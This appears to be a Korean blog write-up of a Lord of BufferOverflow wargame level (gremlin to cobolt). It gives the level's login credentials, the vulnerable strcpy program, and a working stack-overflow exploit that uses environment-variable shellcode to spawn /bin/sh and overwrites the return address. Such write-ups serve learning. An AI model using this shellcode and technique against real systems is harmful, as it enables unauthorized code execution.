login : gremlin
password : hello bof world
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
이전 문제 쉘코드 길이만 해도 25였는데 현재는 16으로 쉘코드도 못넌다.
즉 쉘코드를 넣어줄수 있는 buffer말고 다른곳이 필요하다.
달고나 bof문서에서 환경변수를 이용하는 방법이 나와있다. 이 방법을 이용할것이다.
export (변수명) = (code)
export shell =`python -c 'print "\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*50'`
이제 해야될것은 저 환경변수 쉘코드의 주소를 알아내는것과
nopsled로 buffer와 ebp를 넣어서 넘기고 환경변수 주소를 ret에 넣어주고 쉘코드를 실행시키는 것이다.
vi addr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
ptr = getenv(argv[1]);
printf("%p\n", ptr);
return 0;
}
shell 주소 = 0xbffffe2e 라는걸 알았으니 리틀엔디안 방식으로 넣어주자
../cobolt `python -c 'print "\x90"*20 + "\x2e\xfe\xff\xbf"'`
hacking exposed
'Write-Up > LOB(lord of bufferoverflow)' 카테고리의 다른 글
[Lord Of BufferOverFlow] 6번 wolfman -> darkelf (0) | 2021.02.25 |
---|---|
[Lord Of BufferOverFlow] 5번 orc -> wolfman (0) | 2021.02.25 |
[Lord Of BufferOverFlow] 4번 goblin -> orc (0) | 2021.02.23 |
[Lord Of BufferOverFlow] 3번 cobolt -> goblin (0) | 2021.02.23 |
[Lord Of BufferOverFlow] 1번 gate -> gremlin (0) | 2021.02.22 |